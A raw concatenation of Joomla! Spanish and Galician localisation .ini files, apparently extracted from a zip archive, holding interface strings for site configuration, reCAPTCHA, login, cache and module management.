COM_CONFIG_FIELD_DEBUG_LANG_LABEL="Depurador del idioma" COM_CONFIG_FIELD_DEBUG_SYSTEM_DESC="Si está habilitado, se mostrará la información de diagnóstico, de traducción de idiomas, y errores SQL (si se producen). La información será mostrada al pie de cada página que esté visitando, tanto del sitio, como de la administración. No es recomendable dejar el depurador activado cuando se trata de sitios de producción." COM_CONFIG_FIELD_DEBUG_SYSTEM_LABEL="Depurador del sistema" COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC="Seleccione el nivel de acceso predeterminado para el nuevo contenido, elementos del menú, y otros elementos creados en su sitio" COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL="Nivel de acceso predeterminado" COM_CONFIG_FIELD_DEFAULT_EDITOR_DESC="Seleccione el editor de texto predeterminado para su sitio. Los usuarios registrados podrán seleccionar sus preferencias desde los detalles de su perfil, si se permite esa opción." COM_CONFIG_FIELD_DEFAULT_EDITOR_LABEL="Editor predeterminado" COM_CONFIG_FIELD_DEFAULT_CAPTCHA_DESC="Selecione el sistema de protección captcha para su sitio. Necesitará introducir la información de configuración necesaria para que funcione desde el gestor de plugins," COM_CONFIG_FIELD_DEFAULT_CAPTCHA_LABEL="Captcha predeterminado" COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_DESC="Seleccione la cantidad de noticias sindicadas a mostrar por canal electrónico." COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_LABEL="Cantidad de noticias sindicadas por canal" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC="Asigne la cantidad de elementos a mostrar en los listados de página del panel de control, para todos los usuarios" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL="Cantidad de elementos a listar por página" COM_CONFIG_FIELD_ERROR_REPORTING_DESC="Seleccione el nivel del informe desde la lista de selección desplegable. Para una información más detallada revise las páginas de ayuda." COM_CONFIG_FIELD_ERROR_REPORTING_LABEL="Informe de errores" COM_CONFIG_FIELD_FEED_EMAIL_DESC="Los canales electrónicos del tipo RSS y Atom incluyen la dirección de correo electrónico del autor. Seleccione 'Correo del autor' para usar el correo electrónico de cada autor (disponible desde el gestor de usuarios) en la sindicación de noticias para canales electrónicos. Seleccione 'Correo del sitio' para incluir el correo electrónico del sitio en cada noticia." COM_CONFIG_FIELD_FEED_EMAIL_LABEL="Correo para las noticias de canal electrónico" COM_CONFIG_FIELD_FILTERS_DEFAULT_BLACK_LIST="Lista negra predeterminada" COM_CONFIG_FIELD_FILTERS_CUSTOM_BLACK_LIST="Lista negra personalizada" COM_CONFIG_FIELD_FILTERS_NO_HTML="Sin HTML" COM_CONFIG_FIELD_FILTERS_NO_FILTER="Sin filtrado" COM_CONFIG_FIELD_FILTERS_WHITE_LIST="Lista blanca" COM_CONFIG_FIELD_FORCE_SSL_DESC="Forzar el acceso al sitio para que siempre sea con SSL ('https') en las áreas seleccionadas. No podrá acceder a esas áreas si no se usan conexiones SSL. Note que debe tener SSL habilitado en su servidor para poder usar esta opción." COM_CONFIG_FIELD_FORCE_SSL_LABEL="Forzar SSL" COM_CONFIG_FIELD_FTP_ENABLE_DESC="En lugar de usar la funcionalidad normal para subidas de Joomla!, se habilita la capa FTP (File Transfer Protocol), la cual es necesaria en algunos entornos de servidor." COM_CONFIG_FIELD_FTP_ENABLE_LABEL="Habilitar la capa FTP" COM_CONFIG_FIELD_FTP_HOST_DESC="Introduzca el nombre del hospedaje de su servidor FTP" COM_CONFIG_FIELD_FTP_HOST_LABEL="Hospedaje" COM_CONFIG_FIELD_FTP_PASSWORD_DESC="Introduzca la contraseña de acceso a su FTP" COM_CONFIG_FIELD_FTP_PASSWORD_LABEL="Contraseña" COM_CONFIG_FIELD_FTP_PORT_DESC="Introduzca el puerto disponible para acceder al FTP. El predeterminado es el puerto 21." COM_CONFIG_FIELD_FTP_PORT_LABEL="Puerto" COM_CONFIG_FIELD_FTP_ROOT_DESC="La ruta hacia el directorio raíz del servidor FTP. El directorio raíz es el directorio base desde el cual el servidor FTP permite el acceso." COM_CONFIG_FIELD_FTP_ROOT_LABEL="Directorio raíz" COM_CONFIG_FIELD_FTP_USERNAME_DESC="El nombre de usuario usado para acceder al servidor FTP." COM_CONFIG_FIELD_FTP_USERNAME_LABEL="Usuario" COM_CONFIG_FIELD_GZIP_COMPRESSION_DESC="Permite la compresión de salida del área de intercambio ('buffer') si está habilitada." COM_CONFIG_FIELD_GZIP_COMPRESSION_LABEL="Compresión 'Gzip' de páginas" COM_CONFIG_FIELD_HELP_SERVER_DESC="Seleccione el nombre del servidor de ayuda desde el cual el sistema obtendrá la información que se mostrará como temas de ayuda." COM_CONFIG_FIELD_HELP_SERVER_LABEL="Servidor de ayuda" COM_CONFIG_FIELD_LOG_PATH_DESC="Por favor, especifique una carpeta para los registros de Joomla!." COM_CONFIG_FIELD_LOG_PATH_LABEL="Ruta hacia la carpeta de registro" COM_CONFIG_FIELD_MAIL_FROM_EMAIL_DESC="La dirección de correo electrónico que se usará para enviar el correo desde el sitio." COM_CONFIG_FIELD_MAIL_FROM_EMAIL_LABEL="Correo electrónico del sitio" COM_CONFIG_FIELD_MAIL_FROM_NAME_DESC="El texto a mostrar desde el campo del formulario "_QQ_"De:"_QQ_" cuando se envíe un correo electrónico desde el sitio. Normalmente se usa el nombre del sitio." COM_CONFIG_FIELD_MAIL_FROM_NAME_LABEL="Remitente" COM_CONFIG_FIELD_MAIL_MAILER_DESC="Seleccione el gestor con el que se repartirá el correo electrónico del sitio." COM_CONFIG_FIELD_MAIL_MAILER_LABEL="Gestor de correo" COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_DESC="Introduzca la ruta hacia el directorio del servidor donde se encuentra el programa Sendmail." COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_LABEL="Ruta de Sendmail" COM_CONFIG_FIELD_MAIL_SMTP_AUTH_DESC="Seleccione 'Sí', si su hospedaje SMTP necesita autentificación SMTP." COM_CONFIG_FIELD_MAIL_SMTP_AUTH_LABEL="Autentificación SMTP" COM_CONFIG_FIELD_MAIL_SMTP_HOST_DESC="Introduzca el nombre de hospedaje del SMTP." COM_CONFIG_FIELD_MAIL_SMTP_HOST_LABEL="Hospedaje SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_DESC="Introduzca la contraseña para el hospedaje de su SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_LABEL="Contraseña SMTP" COM_CONFIG_FIELD_MAIL_SMTP_PORT_DESC="Introduzca el número de puerto de su servidor SMTP. Use el 25 para la mayoría de servidores inseguros y el 465 para la mayoría de los servidores más seguros." COM_CONFIG_FIELD_MAIL_SMTP_PORT_LABEL="Puerto SMTP" COM_CONFIG_FIELD_MAIL_SMTP_SECURE_DESC="Seleccione el modelo de seguridad que usa su servidor SMTP." COM_CONFIG_FIELD_MAIL_SMTP_SECURE_LABEL="Seguridad SMTP" COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_DESC="Introduzca el nombre de usuario para acceder al hospedaje del SMTP." COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_LABEL="Usuario SMTP" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_DESC="Compresión Memcache" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_LABEL="Compresión Memcache" COM_CONFIG_FIELD_MEMCACHE_HOST_DESC="Hospedaje del servidor para Memcache" COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL="Servidor Memcache" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_DESC="Memcache persistente" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_LABEL="Memcache persistente" COM_CONFIG_FIELD_MEMCACHE_PORT_DESC="Puerto que usa el servidor para conectar con Memcache" COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL="Puerto Memcache" COM_CONFIG_FIELD_METAAUTHOR_DESC="Se muestra la metaetiqueta del autor cuando se visualizan los artículos" COM_CONFIG_FIELD_METAAUTHOR_LABEL="Mostrar la metaetiqueta del autor" COM_CONFIG_FIELD_METADESC_DESC="Introduzca una descripción que defina al sitio en su totalidad. Será usada por los motores de búsqueda. Generalmente, con un máximo de 20 palabras se está dentro de lo óptimo." COM_CONFIG_FIELD_METADESC_LABEL="Metadescripción del sitio" COM_CONFIG_FIELD_METAKEYS_DESC="Introduzca las palabras y frases que mejor describan su sitio. Separe las palabras y las frases con una coma." COM_CONFIG_FIELD_METAKEYS_LABEL="Metapalabras clave" COM_CONFIG_FIELD_METALANGUAGE_DESC="Coloque el idioma seleccionado en los metadatos para el sitio." COM_CONFIG_FIELD_METALANGUAGE_LABEL="Metaidioma del sitio" COM_CONFIG_FIELD_METAVERSION_LABEL="Muestra la versión de Joomla!" COM_CONFIG_FIELD_METAVERSION_DESC="Muestra la versión de Joomla! en el generador de metaetiquetas." COM_CONFIG_FIELD_OFFLINE_IMAGE_DESC="Una imagen opcional para mostrarse cuando el sitio está fuera de línea. Asegúrese de que es menor de 400 píxeles. y ahora lo vuelvo a cambiar" COM_CONFIG_FIELD_OFFLINE_IMAGE_LABEL="Imagen para 'Sitio fuera de línea'" COM_CONFIG_FIELD_OFFLINE_MESSAGE_DESC="El mensaje personalizado a usar si el campo 'Mensaje fuera de línea' está seleccionado en 'Usar mensaje personalizado'." COM_CONFIG_FIELD_OFFLINE_MESSAGE_LABEL="Mensaje personalizado" COM_CONFIG_FIELD_SECRET_DESC="Esto es un código alfanumérico y único que se genera automáticamente para cada instalación de Joomla! Se usa en funciones de seguridad." COM_CONFIG_FIELD_SECRET_LABEL="Código secreto" COM_CONFIG_FIELD_SEF_REWRITE_DESC="Seleccione si va a usar un motor de reescritura del servidor para capturar URLs que cumplan con condiciones específicas y reescribirlas. Disponible para IIS 7 y Apache.
              ¡Solo para usuarios de Apache!
              Renombre el archivo 'htaccess.txt' a '.htaccess' antes de activarlo.
              ¡Solo para usuarios de IIS 7!
              Renombre el archivo 'web.config.txt' a 'web.config' e instale el módulo de reescritura de URLs para IIS antes de activarlo.
              " COM_CONFIG_FIELD_SEF_REWRITE_LABEL="Usar la reescritura de URLs" COM_CONFIG_FIELD_SEF_SUFFIX_DESC="Si se configura en 'Sí', el sistema añadirá un sufijo a la URL, basándose en el tipo de documento." COM_CONFIG_FIELD_SEF_SUFFIX_LABEL="Agregar el sufijo a la URL" COM_CONFIG_FIELD_SEF_URL_DESC="Seleccione entre si las URLs serán optimizadas, o no, para los motores de búsqueda." COM_CONFIG_FIELD_SEF_URL_LABEL="URLs amigables" COM_CONFIG_FIELD_SERVER_TIMEZONE_DESC="Elija una ciudad de la lista para configurar la fecha y hora a mostrar." COM_CONFIG_FIELD_SERVER_TIMEZONE_LABEL="Zona horaria del servidor" COM_CONFIG_FIELD_SESSION_HANDLER_DESC="El mecanismo con el cual Joomla! identifica a un usuario una vez se ha conectado al sitio usando 'cookies' no persistentes." COM_CONFIG_FIELD_SESSION_HANDLER_LABEL="Gestor de las sesiones" COM_CONFIG_FIELD_SESSION_TIME_DESC="Se cierra la sesión de un usuario que haya permanecido inactivo durante más tiempo, en minutos, del que se haya establecido desde aquí. No asigne un valor demasiado alto." COM_CONFIG_FIELD_SESSION_TIME_LABEL="Duración de la sesión" COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_DESC="Muestra o no un mensaje cuando el sitio está fuera de línea. El mensaje personalizado usa el valor definido en el campo 'Mensaje personalizado'. El mensaje para el sitio fuera de línea del idioma, usa el valor definido desde el archivo ini del idioma del sitio." COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_LABEL="Mensaje fuera de línea" COM_CONFIG_FIELD_SITE_NAME_DESC="Introduzca el nombre de su sitio. Se puede usar en varios lugares (Por ejemplo, desde las páginas de navegación de la administración y desde Sitio fuera de línea)." COM_CONFIG_FIELD_SITE_NAME_LABEL="Nombre del sitio" COM_CONFIG_FIELD_SITE_OFFLINE_DESC="Seleccione entre si está permitido acceder al sitio, o no. Si está configurado en 'Sí', en el sitio se mostrará o no un mensaje dependiendo de lo configurado desde más abajo." COM_CONFIG_FIELD_SITE_OFFLINE_LABEL="Sitio fuera de línea" COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC="El principio o final de todos los títulos de página empezarán con el nombre del sitio. Por ejemplo 'Nombre del sitio - Título del artículo'" COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL="Incluir el nombre del sitio en el título de las páginas" COM_CONFIG_FIELD_TEMP_PATH_DESC="Por favor, seleccione una carpeta temporal escribible." COM_CONFIG_FIELD_TEMP_PATH_LABEL="Ruta hacia la carpeta temporal" COM_CONFIG_FIELD_UNICODESLUGS_DESC="Elija entre transliteración y unicode para la generación de alias. Transliteración es el valor predeterminado." COM_CONFIG_FIELD_UNICODESLUGS_LABEL="Alias unicode" COM_CONFIG_FIELD_VALUE_ADMINISTRATOR_ONLY="Solo en la administración" COM_CONFIG_FIELD_VALUE_AFTER="Después" COM_CONFIG_FIELD_VALUE_AUTHOR_EMAIL="Correo del autor" COM_CONFIG_FIELD_VALUE_BEFORE="Antes" COM_CONFIG_FIELD_VALUE_CACHE_OFF="Desactivado - Caché deshabilitada" COM_CONFIG_FIELD_VALUE_CACHE_CONSERVATIVE="Activado - Caché conservacional" COM_CONFIG_FIELD_VALUE_CACHE_PROGRESSIVE="Activado - Caché progresiva" COM_CONFIG_FIELD_VALUE_DEVELOPMENT="Desarrollo" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_CUSTOM="Usar mensaje personalizado" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_LANGUAGE="Usar el mensaje predeterminado del idioma" COM_CONFIG_FIELD_VALUE_ENTIRE_SITE="Todo el sitio" COM_CONFIG_FIELD_VALUE_MAXIMUM="Máximo" COM_CONFIG_FIELD_VALUE_NO_EMAIL="Sin correo electrónico" COM_CONFIG_FIELD_VALUE_NONE="Ninguna" COM_CONFIG_FIELD_VALUE_PHP_MAIL="PHP Mail" COM_CONFIG_FIELD_VALUE_SENDMAIL="Sendmail" COM_CONFIG_FIELD_VALUE_SIMPLE="Básico" COM_CONFIG_FIELD_VALUE_SITE_EMAIL="Correo del sitio" COM_CONFIG_FIELD_VALUE_SMTP="SMTP" COM_CONFIG_FIELD_VALUE_SSL="SSL" COM_CONFIG_FIELD_VALUE_SYSTEM_DEFAULT="Predeterminado del sistema" COM_CONFIG_FIELD_VALUE_TLS="TLS" COM_CONFIG_FTP_DETAILS="Detalles de identificación del FTP" COM_CONFIG_FTP_DETAILS_TIP="Para actualizar el archivo 'configuration.php', Joomla! podría necesitar los datos de acceso a su cuenta FTP. Por favor, introdúzcalos en los campos del formulario de más abajo." COM_CONFIG_FTP_SETTINGS="Configuración del FTP" COM_CONFIG_GLOBAL_CONFIGURATION="Configuración global" COM_CONFIG_HELPREFRESH_SUCCESS="La lista de los sitios de ayuda se ha actualizado." COM_CONFIG_LOCATION_SETTINGS="Configuración de localización" COM_CONFIG_MAIL_SETTINGS="Configuración del correo electrónico" COM_CONFIG_METADATA_SETTINGS="Configuración de los metadatos" COM_CONFIG_PERMISSION_SETTINGS="Configuración de los permisos" COM_CONFIG_PERMISSIONS="Permisos" COM_CONFIG_SAVE_SUCCESS="La configuración ha sido guardada correctamente." COM_CONFIG_SEO_SETTINGS="Configuración SEO" COM_CONFIG_SERVER="Servidor" COM_CONFIG_SERVER_SETTINGS="Configuración del servidor" COM_CONFIG_SESSION_SETTINGS="Configuración de las sesiones" COM_CONFIG_SITE_SETTINGS="Configuración del sitio" COM_CONFIG_SYSTEM="Sistema" COM_CONFIG_SYSTEM_SETTINGS="Configuración del sistema" COM_CONFIG_TEXT_FILTER_SETTINGS="Configuración de filtros de texto" COM_CONFIG_TEXT_FILTERS="Filtros de texto" COM_CONFIG_TEXT_FILTERS_DESC="Esta configuración de filtros de texto se aplicará en todos los campos del editor de texto que se envíen por los usuarios pertenecientes a los grupos seleccionados.
              Esas opciones de filtrado proporcionan más control sobre el contenido que envíen sus usuarios. Puede ser tan estricto o liberal como haga falta para cumplir con los requisitos de su sitio. El filtrado predeterminado suele ofrecer una buena protección contra aquellas etiquetas que comúnmente se asocian con ataques a los sitios web." COM_CONFIG_XML_DESCRIPTION="Gestor de la configuración" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán en este grupo y en todos sus subgrupos, componentes y contenido. Note que:
              Heredado quiere decir que, para determinar el estado del permiso, se usará lo asignado desde el grupo principal.
              Denegado quiere decir que da igual como esté configurado el grupo principal; es decir, ese grupo ya no podrá realizar esta acción (incluyendo a todos sus subgrupos, si tuviera).
              Permitido quiere decir que el grupo podrá realizar esa acción (pero si esta configuración entra en conflicto con lo asignado desde el grupo principal no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
              Sin asignar solo se usa para el grupo público desde la configuración global. El grupo público es el grupo principal de entre todos los demás grupos. Si un permiso está sin asignar, será tratado como si estuviera asignado en 'Denegado', pero con la diferencia de que se podrá cambiar el estado desde los subgrupos, componentes, categorías y elementos.
              2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\Ohttp://www.google.com/recaptcha. Para usar esto en el registro de usuarios, vaya a las 'Opciones' del 'Gestor de usuarios' y seleccione 'Captcha - reCaptcha' como sistema de protección." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" ; Params PLG_RECAPTCHA_PUBLIC_KEY_LABEL="Clave pública" PLG_RECAPTCHA_PUBLIC_KEY_DESC="Usado en el código JavaScript que se sirve a sus usuarios. Para más información sobre la obtención de la clave pública, revise la descripción del plugin." PLG_RECAPTCHA_PRIVATE_KEY_LABEL="Clave privada" PLG_RECAPTCHA_PRIVATE_KEY_DESC="Usado para la comunicación entre su servidor y el servidor de ReCaptha. Asegúrese de mantenerlo en secreto. Para más información sobre la obtención de la clave privada, revise la descripción del plugin." PLG_RECAPTCHA_THEME_LABEL="Tema" PLG_RECAPTCHA_THEME_DESC="Define el aspecto a usar por reCAPTCHA." PLG_RECAPTCHA_THEME_RED="Rojo" PLG_RECAPTCHA_THEME_WHITE="Blanco" PLG_RECAPTCHA_THEME_BLACKGLASS="Cristal oscuro" PLG_RECAPTCHA_THEME_CLEAN="Despejado" PLG_RECAPTCHA_LANG_LABEL="Idioma" PLG_RECAPTCHA_LANG_DESC="Seleccione el idioma para reCAPTCHA. si está asignado el predeterminado y el archivo del idioma tiene una traducción personalizada, esa es la que se usará." ; Error messages PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY="El plugin reCAPTCHA necesita que se le configure una clave privada desde el gestor de plugins. Por favor, contacte con algún administrador del sitio" PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY="El plugin reCAPTCHA necesita que se le configure una clave pública desde el gestor de plugins. Por favor, contacte con algún administrador del sitio" PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION="No se permite responder en blanco." PLG_RECAPTCHA_ERROR_NO_IP="Por cuestiones de seguridad, debe pasar la dirección IP remota a reCAPTCHA" PLG_RECAPTCHA_ERROR_UNKNOWN="Error desconocido." PLG_RECAPTCHA_ERROR_INVALID_SITE_PUBLIC_KEY="No ha sido posible verificar la clave pública." PLG_RECAPTCHA_ERROR_INVALID_SITE_PRIVATE_KEY="No ha sido posible verificar la clave privada." PLG_RECAPTCHA_ERROR_INVALID_REQUEST_COOKIE="El parámetro a contrastar con el programa de verificación ha sido incorrecto." PLG_RECAPTCHA_ERROR_INCORRECT_CAPTCHA_SOL="La respuesta de CAPTCHA ha sido incorrecta." PLG_RECAPTCHA_ERROR_VERIFY_PARAMS_INCORRECT="Los parámetros a verificar han sido incorrectos, asegúrese de que está cumplimentando correctamente todos los campos requeridos." PLG_RECAPTCHA_ERROR_INVALID_REFERRER="Las claves de la API reCAPTCHA, por seguridad, están enlazadas a un nombre de dominio específico." PLG_RECAPTCHA_ERROR_RECAPTCHA_NOT_REACHABLE="No se ha podido contactar con el servidor de verificación de reCAPTCHA." ; Uncomment(remove the ";" from the beginning of the line) the following lines if reCAPTCHA is not available in your language ; When uncommenting, do NOT translate PLG_RECAPTCHA_CUSTOM_LANG ; As of 01/01/2012, the following languages do not need translation: en, nl, fr, de, pt, ru, es, tr ;PLG_RECAPTCHA_CUSTOM_LANG="true" ;PLG_RECAPTCHA_INSTRUCTIONS_VISUAL="Type the two words:" ;PLG_RECAPTCHA_INSTRUCTIONS_AUDIO="Type what you hear:" ;PLG_RECAPTCHA_PLAY_AGAIN="Play sound again" ;PLG_RECAPTCHA_CANT_HEAR_THIS="Download sound as MP3" ;PLG_RECAPTCHA_VISUAL_CHALLENGE="Get a visual challenge" ;PLG_RECAPTCHA_AUDIO_CHALLENGE="Get an audio challenge" ;PLG_RECAPTCHA_REFRESH_BTN="Get a new challenge" ;PLG_RECAPTCHA_HELP_BTN="Help" ;PLG_RECAPTCHA_INCORRECT_TRY_AGAIN="Incorrect. Try again." PK@y>\R6language/es-ES/es-ES.plg_authentication_joomla.sys.ininuW+A; $Id: es-ES.plg_authentication_joomla.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_AUTH_JOOMLA_XML_DESCRIPTION="Gestiona la autentificación predeterminada de usuarios de Joomla!
              ¡Advertencia! Debe tener al menos un plugin de autentificación habilitado o perderá todo el acceso al sitio." PLG_AUTHENTICATION_JOOMLA="Autentificación - Joomla" PK@y>\ 2language/gl-ES/gl-ES.plg_authentication_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTH_JOOMLA_XML_DESCRIPTION="Manexa a autenticación predeterminada dos usuarios do Joomla!
              Aviso! ten que ter polo menos un engadido de autenticación activado ou perderá o acceso a todo o seu sitio." PLG_AUTHENTICATION_JOOMLA="Autenticación - Joomla" PK@y>\$^XX"language/gl-ES/gl-ES.com_login.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LOGIN="Identificarse" COM_LOGIN_JOOMLA_ADMINISTRATION_LOGIN="Acceso á administración do Joomla!" COM_LOGIN_RETURN_TO_SITE_HOME_PAGE="Ir á portada do sitio." COM_LOGIN_VALID="Empregue un nome de usuario e clave válidos para acceder á administración do sitio." COM_LOGIN_XML_DESCRIPTION="Este compoñente permite a identificación de usuarios no sitio." PK@y>\&&,language/gl-ES/gl-ES.plg_search_contacts.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTACTS="Buscar - Contactos" PLG_SEARCH_CONTACTS_CONTACTS="Contactos" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_DESC="Número de elementos da busca a devolver" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_LABEL="Límite da busca" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Activa a busca no compoñente de contactos" PK@y>\ #language/gl-ES/gl-ES.mod_logged.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGGED="Usuarios identificados" MOD_LOGGED_ADMINISTRATOR="Administrador" MOD_LOGGED_EDIT_USER="Modificar usuario" MOD_LOGGED_FIELD_COUNT_DESC="Número de elementos a amosar (predeterminado 5)" MOD_LOGGED_FIELD_COUNT_LABEL="Conta" MOD_LOGGED_FIELD_NAME_DESC="Amosar nome ou o identificador" MOD_LOGGED_LAST_ACTIVITY="Última actividade" MOD_LOGGED_LOGOUT="Saír ao anonimato" MOD_LOGGED_NAME="Nome" MOD_LOGGED_SITE="Sitio" MOD_LOGGED_TITLE="Últimos usuarios identificados" MOD_LOGGED_TITLE_1="Último usuario identificado" MOD_LOGGED_TITLE_MORE="Últimos %s usuarios identificados" MOD_LOGGED_XML_DESCRIPTION="Este módulo amosa unha lista dos usuarios actualmente identificados" PK@y>\0gg$language/gl-ES/gl-ES.mod_submenu.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_SUBMENU="Submenú da administración" MOD_SUBMENU_XML_DESCRIPTION="Este módulo amosa o submenú da administración." PK@y>\0,  "language/gl-ES/gl-ES.com_cache.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CACHE="Xestor da caché" COM_CACHE_BACK_CACHE_MANAGER="Regresar á xestión da caché" COM_CACHE_CLEAR_CACHE_ADMIN="Limpar a caché do administrador" COM_CACHE_CLEAR_CACHE="Mantemento: Limpar a chaché" COM_CACHE_PURGE_EXPIRED_CACHE="Mantemento: Purgar a caché expirada" COM_CACHE_CONFIGURATION="Configuración do xestor da caché" COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED="Purgáronse os elementos expirados." COM_CACHE_GROUP="Caché de grupo" COM_CACHE_MANAGER="Xestor da caché" COM_CACHE_NUM="#" COM_CACHE_NUMBER_OF_FILES="Número de ficheiros" COM_CACHE_PURGE_CACHE_ADMIN="Purgar a caché do administrador" COM_CACHE_PURGE_EXPIRED="Purgar expirados" COM_CACHE_PURGE_EXPIRED_ITEMS="Purgar elementos expirados" COM_CACHE_PURGE_INSTRUCTIONS="Premer na icona de Purgar expirados na barra de ferramentas para borrar todos os ficheiros da caché expirados. Nota: os ficheiros da caché que estean en uso non serán eliminados. " COM_CACHE_RESOURCE_INTENSIVE_WARNING="Aviso: este proceso pode consumir moitos recursos en sitios con grandes cantidades de elementos!" COM_CACHE_SIZE="Tamaño" COM_CACHE_SELECT_CLIENT="- Escoller localización -" COM_CACHE_XML_DESCRIPTION="Compoñente para a xestión da cache" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\''$language/gl-ES/gl-ES.com_modules.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MODULES="Xestor de módulos" COM_MODULES_ADVANCED_FIELDSET_LABEL="Opcións avanzadas" COM_MODULES_ASSIGNED_VARIES_EXCEPT="Todos agás os marcados" COM_MODULES_ASSIGNED_VARIES_ONLY="Só os marcados" COM_MODULES_BASIC_FIELDSET_LABEL="Opcións básicas" COM_MODULES_BATCH_POSITION_LABEL="Definir posición" COM_MODULES_BATCH_POSITION_NOCHANGE="Manter a posición orixinal" COM_MODULES_BATCH_POSITION_NOPOSITION="Sen posicións de módulo" COM_MODULES_BATCH_OPTIONS="Procesar por lotes os módulos seleccionados" COM_MODULES_BATCH_TIP="Se elixe copiar un módulo, calquera outra acción seleccionada será aplicada ao módulo a copiar. Se non, todas as accións serán aplicadas ao módulo seleccionado. Cando copia e non muda a posición, ten que elixir 'Manter a posición orixinal' na caixa de escolla." COM_MODULES_CHANGE_POSITION_BUTTON="Escoller posición" COM_MODULES_CHANGE_POSITION_TITLE="Cambiar posición" COM_MODULES_CONFIGURATION="Opcións do xestor de módulos" COM_MODULES_CUSTOM_OUTPUT="Aspecto personalizado" COM_MODULES_ERR_XML="Datos XML do módulo non dispoñíbeis" COM_MODULES_ERROR_CANNOT_FIND_MODULE="Non foi posíbel atopar o módulo" COM_MODULES_ERROR_CANNOT_GET_MODULE="Non foi posíbel obter o módulo" COM_MODULES_ERROR_INVALID_EXTENSION="Módulo non válido" COM_MODULES_ERROR_NO_MODULES_SELECTED="Ningún módulo escollido" COM_MODULES_EXTENSION_PUBLISHED_DISABLED="Módulo desactivado e publicado" COM_MODULES_EXTENSION_PUBLISHED_ENABLED="Módulo activado e publicado" COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED="Módulo desactivado e despublicado" COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED="Módulo activado e despublicado" COM_MODULES_FIELD_AUTOMATIC_TITLE_LABEL="Título automático" COM_MODULES_FIELD_AUTOMATIC_TITLE_DESC="Escolla 'Si' se quere un título traducido automaticamente. Seu uso depende do tema do administrador." COM_MODULES_FIELD_CACHE_TIME_DESC="O tempo antes de que o módulo sexa recargado." COM_MODULES_FIELD_CACHE_TIME_LABEL="Tempo da caché" COM_MODULES_FIELD_CACHING_DESC="Activar/Desactivar o almacenamento en caché o contido do módulo" COM_MODULES_FIELD_CACHING_LABEL="Almacenamento na caché" COM_MODULES_FIELD_CLIENT_ID_DESC="A posición do módulo, sitio ou 